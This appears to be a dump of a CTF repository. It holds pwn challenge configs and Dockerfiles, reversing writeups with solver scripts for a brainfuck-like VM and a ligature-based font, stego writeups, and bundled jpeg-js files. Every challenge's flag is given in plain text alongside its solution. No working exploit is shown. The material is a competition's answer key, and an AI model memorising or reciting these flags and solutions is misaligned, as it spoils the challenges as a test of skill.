-------------------------------------------------------------------------------- 1 | # Super Smash Bros 2 | 3 | ## Author 4 | 5 | @moratorium08 6 | 7 | ## Description 8 | 9 | a simple file system. 10 | 11 | the flag is in /home/user/flag 12 | 13 | nc [host] 31000 14 | 15 | ## 配布 16 | 17 | * [ssb](problem/ssb) 18 | * [libc-2.27.so](problem/libc-2.27.so) 19 | 20 | ## Difficulty Estimate 21 | 22 | Med 23 | -------------------------------------------------------------------------------- /pwn/ssb/build/ctf.conf: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | type = UNLISTED 4 | protocol = tcp 5 | socket_type = stream 6 | port = 31000 7 | bind = 0.0.0.0 8 | wait = no 9 | disable = no 10 | user = user 11 | server = /home/user/start.sh 12 | } 13 | 14 | -------------------------------------------------------------------------------- /pwn/ssb/build/flag: -------------------------------------------------------------------------------- 1 | TSGCTF{My_f4v0r1te_f1ghter_15_Palutena!_Bakuen!} 2 | -------------------------------------------------------------------------------- /pwn/ssb/build/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | LD_PRELOAD=/home/user/libc-2.27.so stdbuf -i0 -o0 -e0 /home/user/ssb 4 | -------------------------------------------------------------------------------- /pwn/ssb/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2.4' 2 | 3 | services: 4 | ctf: 5 | build: ./ 6 | restart: always 7 | ports: 8 | - "31000:31000" 9 | expose: 10 | - "31000" 11 | mem_limit: 100m 12 | read_only: true 13 | 14 | -------------------------------------------------------------------------------- /pwn/ssb/problem/libc-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/pwn/ssb/problem/libc-2.27.so -------------------------------------------------------------------------------- /pwn/ssb/problem/ssb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/pwn/ssb/problem/ssb -------------------------------------------------------------------------------- /pwn/ssb/writeup/Makefile: -------------------------------------------------------------------------------- 1 | build: fs.c 2 | gcc fs.c -o ../problem/ssb -std=c99 -pie -fPIE -Wl,-z,now,-z,relro -fstack-protector 3 | -------------------------------------------------------------------------------- /pwn/vector/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | RUN apt-get update && \ 4 | apt-get -y upgrade && \ 5 | apt-get install -y \ 6 | xinetd \ 7 | iproute2 8 | 9 | RUN groupadd -r user && useradd -r -g user user 10 | 11 | COPY --chown=root:root ./build/ctf.conf /etc/xinetd.d/ctf 12 | COPY --chown=root:user ./build/flag /home/user/flag 13 | COPY --chown=root:user ./build/start.sh /home/user/start.sh 14 | COPY --chown=root:user ./problem/vector /home/user/vector 15 | COPY --chown=root:user ./problem/libc-2.27.so /home/user/libc-2.27.so 16 | 17 | WORKDIR /home/user 18 | 19 | RUN chmod 444 /etc/xinetd.d/ctf && \ 20 | chmod 444 flag && \ 21 | chmod 555 ./vector && \ 22 | chmod 555 ./start.sh && \ 23 | chmod 555 ./libc-2.27.so 24 | 25 | USER user 26 | EXPOSE 30001 27 | 28 | CMD ["xinetd", "-dontfork"] 29 | -------------------------------------------------------------------------------- /pwn/vector/Makefile: -------------------------------------------------------------------------------- 1 | BUILD_CONTAINER = gcc:8.3 2 | dbuild: 3 | docker run -w $(PWD) -v $(PWD):$(PWD) -it ${BUILD_CONTAINER} make build -C writeup 4 | .PHONY: dbuild 5 | -------------------------------------------------------------------------------- /pwn/vector/README.md: -------------------------------------------------------------------------------- 1 | # Capacity Oriented Vector 2 | 3 | ## Author 4 | 5 | @moratorium08 6 | 7 | ## Description 8 | 9 | Is this implementation of vector odd? 10 | 11 | the flag is in /home/user/flag 12 | 13 | nc [host] 30001 14 | 15 | ## 配布 16 | 17 | * [vector](problem/vector) 18 | * [libc-2.27.so](problem/libc-2.27.so) 19 | 20 | ## Difficulty Estimate 21 | 22 | Med 23 | -------------------------------------------------------------------------------- /pwn/vector/build/ctf.conf: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | type = UNLISTED 4 | protocol = tcp 5 | socket_type = stream 6 | port = 30001 7 | bind = 0.0.0.0 8 | wait = no 9 | disable = no 10 | user = user 11 | server = /home/user/start.sh 12 | } 13 | 14 | -------------------------------------------------------------------------------- /pwn/vector/build/flag: -------------------------------------------------------------------------------- 1 | TSGCTF{adding_an_unsigned_value_is_not_monotonically_increasing} 2 | -------------------------------------------------------------------------------- /pwn/vector/build/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | LD_PRELOAD=/home/user/libc-2.27.so stdbuf -i0 -o0 -e0 /home/user/vector 4 | -------------------------------------------------------------------------------- /pwn/vector/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2.4' 2 | 3 | services: 4 | ctf: 5 | build: ./ 6 | restart: always 7 | ports: 8 | - "30001:30001" 9 | expose: 10 | - "30001" 11 | mem_limit: 100m 12 | read_only: true 13 | -------------------------------------------------------------------------------- /pwn/vector/problem/libc-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/pwn/vector/problem/libc-2.27.so -------------------------------------------------------------------------------- /pwn/vector/problem/vector: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/pwn/vector/problem/vector -------------------------------------------------------------------------------- /pwn/vector/writeup/Makefile: -------------------------------------------------------------------------------- 1 | build: vector.c 2 | gcc vector.c -o ../problem/vector -std=c99 -pie -fPIE -Wl,-z,now,-z,relro -fstack-protector-all 3 | -------------------------------------------------------------------------------- /reversing/eso_vm/README.md: -------------------------------------------------------------------------------- 1 | # Eso VM 2 | 3 | ## Author 4 | 5 | @satos 6 | 7 | ## Description 8 | 9 | I love esolang, how about you? 10 | 11 | 僕はEsolangが大好きです、あなたはいかが? 12 | 13 | ## Difficulty Estimate 14 | 15 | medium~hard 16 | -------------------------------------------------------------------------------- /reversing/eso_vm/problem/eso_vm-9384be37dd2fc5874b69e633014b24464eb80727: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/reversing/eso_vm/problem/eso_vm-9384be37dd2fc5874b69e633014b24464eb80727 -------------------------------------------------------------------------------- /reversing/eso_vm/writeup/eso_vm_interp_solver.py: -------------------------------------------------------------------------------- 1 | from data import prog 2 | 3 | mem = [0 for _ in range(10000)] 4 | 5 | def corresp_parenthes(s): 6 | stk = [] 7 | res = [-1 for _ in range(len(s))] 8 | for i,c in enumerate(s): 9 | if c == '[': 10 | stk.append(i) 11 | elif c==']': 12 | bi = stk.pop() 13 | res[bi] = i 14 | res[i] = bi 15 | return res 16 | 0 17 | prog_parenthes = corresp_parenthes(prog) 18 | MOD = 65537 19 | 20 | def add(a,b): 21 | if type(a) is str or type(b) is str: 22 | return '+(%s,%s)' % (str(a),str(b)) 23 | return (a+b+MOD)%MOD 24 | 25 | def mult(a,b): 26 | if type(a) is str or type(b) is str: 27 | return '*(%s,%s)' % (str(a),str(b)) 28 | return (a*b+MOD)%MOD 29 | 30 | def eq(a,b,isbranch=False): 31 | global eq_cnt 32 | if type(a) is str or type(b) is str: 33 | if isbranch: 34 | print('check?',a,b) 35 | return int(input('> ')) 36 | else: 37 | return '=(%s,%s)' % (str(a),str(b)) 38 | if a == b: 39 | return 1 40 | else: 41 | return 0 42 | 43 | inputs = ['c%d' % i for i in range(100)][::-1] 44 | inp = 0 45 | ip,mp,reg = 0,0,0 46 | 47 | import sys 48 | 49 | for t in range(10 ** 10): 50 | if t % (10 ** 6) == 0: 51 | #print(mem) 52 | sys.stderr.write("%d\n" % t) 53 | c = prog[ip] 54 | if c == '+': 55 | mem[mp] = add(mem[mp],1) 56 | elif c == '-': 57 | mem[mp] = add(mem[mp],-1) 58 | elif c == '>': 59 | mp += 1 60 | elif c == '<': 61 | mp -= 1 62 | elif c == 'l': 63 | reg = mem[mp] 64 | elif c == 's': 65 | mem[mp] = reg 66 | elif c == 'a': 67 | mem[mp] = add(mem[mp],mem[mp+1]) 68 | elif c == 'm': 69 | mem[mp] = mult(mem[mp],mem[mp+1]) 70 | elif c == '=': 71 | mem[mp] = eq(mem[mp],mem[mp+1]) 72 | elif c == 'z': 73 | mem[mp] = 0 74 | elif c == '[': 75 | if eq(mem[mp],0,True): 76 | ip = prog_parenthes[ip] 77 | elif c == ']': 78 | if eq(mem[mp],0,True): 79 | pass 80 | else: 81 | ip = prog_parenthes[ip] 82 | elif c == ',': 83 | mem[mp] = inputs.pop() 84 | elif c == '.': 85 | if type(mem[mp]) is str: 86 | sys.stdout.write(mem[mp]) 87 | else: 88 | sys.stdout.write(chr(mem[mp])) 89 | sys.stdout.flush() 90 | else: 91 | print('unknown character',c) 92 | exit(0) 93 | ip += 1 -------------------------------------------------------------------------------- /reversing/eso_vm/writeup/interp.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include"code.h" 6 | 7 | #define rep(i,n) for(int i=0;i<((int)(n));i++) 8 | 9 | #define CODESIZE 10000 10 | long long int mem[CODESIZE]; 11 | 12 | int jmps[CODESIZE]; 13 | 14 | 15 | /* 16 | two pointers. 17 | 18 | */ 19 | 20 | int init_rec(int i){ 21 | int ti; 22 | for(;;){ 23 | switch(code[i]){ 24 | case '[': 25 | ti = init_rec(i+1); 26 | jmps[i] = ti; 27 | jmps[ti] = i; 28 | //printf("%d %d\n",i,ti); 29 | i = ti+1; 30 | break; 31 | case ']': 32 | return i; 33 | case '\0': 34 | return -1; 35 | default: 36 | i++; 37 | break; 38 | } 39 | } 40 | } 41 | 42 | void init(){ 43 | memset(jmps,-1,sizeof(jmps)); 44 | init_rec(0); 45 | } 46 | 47 | #define MOD 65537 48 | 49 | int main(){ 50 | //scanf("%s",code); 51 | init(); 52 | int ip=0,mp=0; 53 | long long int reg = 0; 54 | int i,j; 55 | int iscode; 56 | while(0 <= ip){ 57 | //printf("%d ",ip); 58 | switch(code[ip]){ 59 | case '+': 60 | mem[mp] = (mem[mp]+1)%MOD; 61 | break; 62 | case '-': 63 | mem[mp] = (mem[mp]+MOD-1)%MOD; 64 | break; 65 | case '>': 66 | mp++; 67 | break; 68 | case '<': 69 | mp--; 70 | break; 71 | case '[': 72 | if(mem[mp]==0){ 73 | ip = jmps[ip]; 74 | if(ip<0){ 75 | puts("Unbalanced ["); 76 | exit(-1); 77 | } 78 | } 79 | break; 80 | case ']': 81 | if(mem[mp]!=0){ 82 | ip = jmps[ip]; 83 | if(ip<0){ 84 | puts("Unbalanced ]"); 85 | exit(-1); 86 | } 87 | } 88 | break; 89 | case '=': 90 | if(mem[mp]==mem[mp+1]){ 91 | mem[mp]=1; 92 | } 93 | else{ 94 | mem[mp]=0; 95 | } 96 | break; 97 | case ',': 98 | mem[mp] = getchar(); 99 | break; 100 | case '.': 101 | printf("%c",((unsigned char)(mem[mp] & 255))); 102 | fflush(stdout); 103 | break; 104 | case '\0': 105 | return 0; 106 | case 'l': 107 | reg = mem[mp]; 108 | break; 109 | case 's': 110 | mem[mp] = reg; 111 | break; 112 | case 'z': 113 | mem[mp] = 0; 114 | break; 115 | case 'a': 116 | mem[mp] = (mem[mp]+mem[mp+1])%MOD; 117 | break; 118 | case 'm': 119 | mem[mp] = (mem[mp]*mem[mp+1])%MOD; 120 | break; 121 | case '#': 122 | /* 123 | //break; 124 | printf("reg :: %lld\n",reg); 125 | iscode = 1; 126 | for(i=0;i<200;i++){ 127 | printf(" %c%2d",i==mp?'*':' ',mem[i]); 128 | if(iscode){ 129 | if(i%7==6){ 130 | puts(""); 131 | if(mem[i+1]!=0){ 132 | iscode=0; 133 | j = 4; 134 | } 135 | } 136 | } 137 | else{ 138 | if(j>0)j--; 139 | else{ 140 | j = 3; 141 | puts(""); 142 | } 143 | } 144 | } 145 | puts(""); 146 | */ 147 | break; 148 | default: 149 | printf("unknown character %c",code[ip]); 150 | return -1; 151 | } 152 | ip++; 153 | } 154 | } 155 | -------------------------------------------------------------------------------- /reversing/eso_vm/writeup/writeup.md: -------------------------------------------------------------------------------- 1 | # eso vm Writeup 2 | 3 | ## 解法 4 | ### 方法1 5 | VMのコードを解析すると下記のようなコードが実行されていることがわかる。 6 | 7 | ``` 8 | for(i=0;i<34;i++){ 9 | c = getchar(); 10 | for(j=0;j<34;j++){ 11 | c = c * A[j] + B[j]; 12 | s[j] += c; 13 | } 14 | } 15 | 16 | v = 0; 17 | for(j=0;j<34;j++){ 18 | v += (s[j] != Q[j]); 19 | } 20 | if(v==0){ 21 | puts("Correct!\n"); 22 | } else { 23 | puts("Wrong:cry:\n"); 24 | } 25 | ``` 26 | A,B,Qは初期化後のメモリを見ると分かるので、 27 | あとはこれに従って正しい入力文字列を求めればよい。 28 | 29 | ### 方法2 30 | 31 | シンボリック実行するインタプリタ(例として eso_vm_interp_solver.py をあげた)を書く。 32 | 入力値に依存して実行パスの変わる部分では、いいかんじの方向に分岐させると"Correct"と出力されるので、 33 | それを満たすようなパスのための制約を解けばよい。 34 | 35 | ## Flag 36 | 37 | `TSGCTF{vm_0n_vm_c4n_be_r3ver5able}` 38 | -------------------------------------------------------------------------------- /reversing/ffi/README.md: -------------------------------------------------------------------------------- 1 | # ffi 2 | 3 | ## Author 4 | 5 | @kurgm 6 | 7 | ## Description 8 | 9 | Try typing some flags 10 | 11 | 適当なフラグを打ってみてください 12 | 13 | ## Difficulty Estimate 14 | 15 | med 16 | -------------------------------------------------------------------------------- /reversing/ffi/problem/ffi.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/reversing/ffi/problem/ffi.ttf -------------------------------------------------------------------------------- /reversing/ffi/writeup/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from collections import defaultdict 4 | from collections import deque 5 | 6 | from fontTools.ttLib.ttFont import TTFont 7 | 8 | 9 | def solve(ttf): 10 | rules = get_subs_rules(ttf) 11 | 12 | prev_glyph_map = defaultdict(list) 13 | for (backglyph, inputglyph), subsglyph in rules.items(): 14 | prev_glyph_map[subsglyph].append((backglyph, inputglyph)) 15 | 16 | start = "glyph00346" # "} is correct" glyph 17 | goal = "T" 18 | path = bfs(prev_glyph_map, start, goal) 19 | answer = glyph_names_to_chars(ttf, path) 20 | print(answer) 21 | 22 | 23 | def get_subs_rules(ttf): 24 | lookups = ttf["GSUB"].table.LookupList.Lookup 25 | rules = {} 26 | for subtable in lookups[-1].SubTable: 27 | backglyph = subtable.BacktrackCoverage[0].glyphs[0] 28 | inputglyphs = subtable.InputCoverage[0].glyphs 29 | lookup = lookups[subtable.SubstLookupRecord[0].LookupListIndex] 30 | for inputglyph in inputglyphs: 31 | subsglyph = lookup.SubTable[0].mapping[inputglyph] 32 | rules[backglyph, inputglyph] = subsglyph 33 | return rules 34 | 35 | 36 | def bfs(graph, start, goal): 37 | visited = {start} 38 | queue = deque([(start, [])]) 39 | while queue: 40 | vertex, input_glyphs = queue.popleft() 41 | edges = graph[vertex] 42 | for (next_vertex, input_glyph) in edges: 43 | if next_vertex == goal: 44 | return [next_vertex, input_glyph] + input_glyphs 45 | if next_vertex in visited: 46 | continue 47 | visited.add(next_vertex) 48 | queue.append((next_vertex, [input_glyph] + input_glyphs)) 49 | 50 | 51 | def glyph_names_to_chars(ttf, glyphnames): 52 | rev_cmap = ttf["cmap"].buildReversed() 53 | return "".join( 54 | chr(list(rev_cmap[glyphname])[0]) 55 | for glyphname in glyphnames 56 | ) 57 | 58 | 59 | def main(): 60 | import argparse 61 | parser = argparse.ArgumentParser() 62 | parser.add_argument("font") 63 | args = parser.parse_args() 64 | solve(TTFont(args.font)) 65 | 66 | 67 | if __name__ == "__main__": 68 | main() 69 | -------------------------------------------------------------------------------- /reversing/ffi/writeup/writeup.md: -------------------------------------------------------------------------------- 1 | # ffi Writeup 2 | 3 | ## 解法 4 | 5 | ffi.ttf をインストールして問題文の指示通り適当に `TSGCTF{a}` とかタイプすると `TSGCTF{a} is incorrect` となるのがわかる。 6 | 7 | Fontforge などで中身を見てみると `a` から `z` と `_` のグリフが 9 個ずつ余分に含まれていることがわかる。あと `T`, `S`, `G`, `C`, `T`, `F`, `{` の 7 文字も余分にあり、`} is incorrect` という 1 グリフと `} is correct` という 1 グリフもあるのが見える。そしてこれらのグリフにはいずれも文字コードが割り当てられていない。 8 | 9 | これらの観察から、`TSGCTF{...} is correct` となるような `...` を見つける問題であると推測できる。 10 | 11 | この問題のフォントは、フォントのグリフ置換という機能を用いて、 12 | 13 | - グリフ「T」に続くグリフ「S」を、余分に用意した別の「S」(「S1」と呼ぶことにしよう)に置換する 14 | - 「S」と「S1」は形は同一なので目では区別がつかない 15 | - グリフ「S1」に続くグリフ「G」を、「G1」に置換する 16 | - グリフ「G1」に続くグリフ「C」を、「C1」に置換する 17 | 18 | といった置換がされるようプログラムされている。これは、見方を変えると決定性有限オートマトンに見える。つまり「T」「S」「G」「C」……という文字を受け取り、「T」「S1」「G1」「C1」……という状態に遷移していく。遷移した状態の列がグリフ列として出力される。 19 | 20 | このことに気づけば、あとは `}` が `} is correct` に置換されるようなオートマトンの状態遷移のパスを探す問題となる。フォントをデコンパイルするなどして置換規則のデータを取り出して `} is correct` のグリフから逆順に辿ればよい。 21 | 22 | ## Flag 23 | 24 | `TSGCTF{ligature_state_machine}` 25 | -------------------------------------------------------------------------------- /stego/0000000000000000/README.md: -------------------------------------------------------------------------------- 1 | # 0000000000000000 2 | 3 | ## Author 4 | 5 | @kurgm 6 | 7 | ## Description 8 | 9 | I took a photo at university on a sunny day~~ 10 | 11 | 天気がいい日に大学で写真を撮ったよ 12 | 13 | [![](problem/0000000000000000.jpg)](problem/0000000000000000.jpg) 14 | 15 | ## Difficulty Estimate 16 | 17 | hard 18 | -------------------------------------------------------------------------------- /stego/0000000000000000/problem/0000000000000000.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/0000000000000000/problem/0000000000000000.jpg -------------------------------------------------------------------------------- /stego/0000000000000000/writeup/writeup.md: -------------------------------------------------------------------------------- 1 | # 0000000000000000 Writeup 2 | 3 | ## 解法 4 | 5 | EOBの直前にZRLがあるブロックを黒く,他のブロックを白く塗りつぶすとQRコードが浮かび上がる 6 | 7 | ## Flag 8 | 9 | `TSGCTF{I_understand_JPEG_perf3ctly}` 10 | -------------------------------------------------------------------------------- /stego/harekaze/README.md: -------------------------------------------------------------------------------- 1 | # Harekaze 2 | 3 | ## Author 4 | 5 | @hakatashi 6 | 7 | ## Description 8 | 9 | Are you ready for next CTF? 10 | 11 | 次のCTFの準備はお済みですか? 12 | 13 | [![](problem/harekaze.jpg)](problem/harekaze.jpg) 14 | 15 | ## Difficulty Estimate 16 | 17 | med 18 | -------------------------------------------------------------------------------- /stego/harekaze/problem/harekaze.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/problem/harekaze.jpg -------------------------------------------------------------------------------- /stego/harekaze/writeup/.gitattributes: -------------------------------------------------------------------------------- 1 | *.jpg binary 2 | *.ai binary 3 | package-lock.json binary 4 | -------------------------------------------------------------------------------- /stego/harekaze/writeup/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules -------------------------------------------------------------------------------- /stego/harekaze/writeup/build.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'); 2 | const pngjs = require('png-js'); 3 | const editedJpegjs = require('./jpeg-js'); 4 | 5 | const width = 400; 6 | const height = 50; 7 | 8 | pngjs.decode('harekaze_in.png', (data) => { 9 | const jpeg = editedJpegjs.encode({width, height, data}, 85) 10 | fs.writeFileSync('harekaze.jpg', jpeg.data); 11 | }); 12 | 13 | -------------------------------------------------------------------------------- /stego/harekaze/writeup/harekaze.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/harekaze.jpg -------------------------------------------------------------------------------- /stego/harekaze/writeup/harekaze_analyze.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/harekaze_analyze.png -------------------------------------------------------------------------------- /stego/harekaze/writeup/harekaze_in.ai: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/harekaze_in.ai -------------------------------------------------------------------------------- /stego/harekaze/writeup/harekaze_in.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/harekaze_in.png -------------------------------------------------------------------------------- /stego/harekaze/writeup/harekaze_solve.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/harekaze_solve.jpg -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/.gitignore: -------------------------------------------------------------------------------- 1 | *.swp 2 | .DS_Store 3 | node_modules/ 4 | npm-debug.log 5 | .idea* 6 | -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/.npmignore: -------------------------------------------------------------------------------- 1 | .idea* 2 | 3 | test/ 4 | -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/.travis.yml: -------------------------------------------------------------------------------- 1 | language: node_js 2 | node_js: 3 | - "0.8" 4 | - "0.10" 5 | - "0.12" 6 | - "4" 7 | - "6" 8 | -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # jpeg-js is an OPEN Open Source Project 2 | 3 | ----------------------------------------- 4 | 5 | ## What? 6 | 7 | Individuals making significant and valuable contributions are given commit-access to the project to contribute as they see fit. This project is more like an open wiki than a standard guarded open source project. 8 | 9 | ## Rules 10 | 11 | There are a few basic ground-rules for contributors: 12 | 13 | 1. **No `--force` pushes** or modifying the Git history in any way. 14 | 1. **Non-master branches** ought to be used for ongoing work. 15 | 1. **External API changes and significant modifications** ought to be subject to an **internal pull-request** to solicit feedback from other contributors. 16 | 1. Internal pull-requests to solicit feedback are *encouraged* for any other non-trivial contribution but left to the discretion of the contributor. 17 | 1. Contributors should attempt to adhere to the prevailing code-style. 18 | 19 | ## Releases 20 | 21 | Declaring formal releases remains the prerogative of the project maintainer. 22 | 23 | ## Changes to this arrangement 24 | 25 | This is an experiment and feedback is welcome! This document may also be subject to pull-requests or changes by contributors where you believe you have something valuable to add or change. 26 | 27 | ----------------------------------------- 28 | -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2014, Eugene Ware 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 7 | 1. Redistributions of source code must retain the above copyright 8 | notice, this list of conditions and the following disclaimer. 9 | 2. Redistributions in binary form must reproduce the above copyright 10 | notice, this list of conditions and the following disclaimer in the 11 | documentation and/or other materials provided with the distribution. 12 | 3. Neither the name of Eugene Ware nor the names of its contributors 13 | may be used to endorse or promote products derived from this software 14 | without specific prior written permission. 15 | 16 | THIS SOFTWARE IS PROVIDED BY EUGENE WARE ''AS IS'' AND ANY 17 | EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 18 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 19 | DISCLAIMED. IN NO EVENT SHALL EUGENE WARE BE LIABLE FOR ANY 20 | DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 21 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 22 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 23 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 24 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 25 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 26 | -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/index.js: -------------------------------------------------------------------------------- 1 | var encode = require('./lib/encoder'), 2 | decode = require('./lib/decoder'); 3 | 4 | module.exports = { 5 | encode: encode, 6 | decode: decode 7 | }; 8 | -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "jpeg-js", 3 | "version": "0.3.4", 4 | "lockfileVersion": 1, 5 | "dependencies": { 6 | "deep-equal": { 7 | "version": "0.1.2", 8 | "resolved": "https://registry.npmjs.org/deep-equal/-/deep-equal-0.1.2.tgz", 9 | "integrity": "sha1-skbCuApXCkfBG+HZvRBw7IeLh84=", 10 | "dev": true 11 | }, 12 | "defined": { 13 | "version": "0.0.0", 14 | "resolved": "https://registry.npmjs.org/defined/-/defined-0.0.0.tgz", 15 | "integrity": "sha1-817qfXBekzuvE7LwOz+D2SFAOz4=", 16 | "dev": true 17 | }, 18 | "inherits": { 19 | "version": "2.0.3", 20 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", 21 | "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=", 22 | "dev": true 23 | }, 24 | "jsonify": { 25 | "version": "0.0.0", 26 | "resolved": "https://registry.npmjs.org/jsonify/-/jsonify-0.0.0.tgz", 27 | "integrity": "sha1-LHS27kHZPKUbe1qu6PUDYx0lKnM=", 28 | "dev": true 29 | }, 30 | "redtape": { 31 | "version": "0.1.0", 32 | "resolved": "https://registry.npmjs.org/redtape/-/redtape-0.1.0.tgz", 33 | "integrity": "sha1-3YsDYH4QiW6eZiTJXDYJxlUExhw=", 34 | "dev": true 35 | }, 36 | "resumer": { 37 | "version": "0.0.0", 38 | "resolved": "https://registry.npmjs.org/resumer/-/resumer-0.0.0.tgz", 39 | "integrity": "sha1-8ej0YeQGS6Oegq883CqMiT0HZ1k=", 40 | "dev": true 41 | }, 42 | "tape": { 43 | "version": "2.3.3", 44 | "resolved": "https://registry.npmjs.org/tape/-/tape-2.3.3.tgz", 45 | "integrity": "sha1-Lnzgox3wn41oUWZKcYQuDKUFevc=", 46 | "dev": true 47 | }, 48 | "through": { 49 | "version": "2.3.8", 50 | "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", 51 | "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=", 52 | "dev": true 53 | } 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "jpeg-js", 3 | "version": "0.3.4", 4 | "description": "A pure javascript JPEG encoder and decoder", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "node_modules/.bin/tape test/*.js" 8 | }, 9 | "repository": { 10 | "type": "git", 11 | "url": "https://github.com/eugeneware/jpeg-js" 12 | }, 13 | "keywords": [ 14 | "jpeg", 15 | "jpg", 16 | "encoder", 17 | "decoder", 18 | "codec", 19 | "image", 20 | "javascript", 21 | "js" 22 | ], 23 | "author": "Eugene Ware ", 24 | "license": "BSD-3-Clause", 25 | "bugs": { 26 | "url": "https://github.com/eugeneware/jpeg-js/issues" 27 | }, 28 | "dependencies": {}, 29 | "devDependencies": { 30 | "redtape": "~0.1.0", 31 | "tape": "~2.3.2" 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/test/fixtures/apsara.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/jpeg-js/test/fixtures/apsara.jpg -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/test/fixtures/apsara.rgba: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/jpeg-js/test/fixtures/apsara.rgba -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/test/fixtures/cmyk-grey.cmyk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/jpeg-js/test/fixtures/cmyk-grey.cmyk -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/test/fixtures/cmyk-grey.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/jpeg-js/test/fixtures/cmyk-grey.jpg -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/test/fixtures/cmyktest.cmyk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/jpeg-js/test/fixtures/cmyktest.cmyk -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/test/fixtures/cmyktest.jpg: -------------------------------------------------------------------------------- 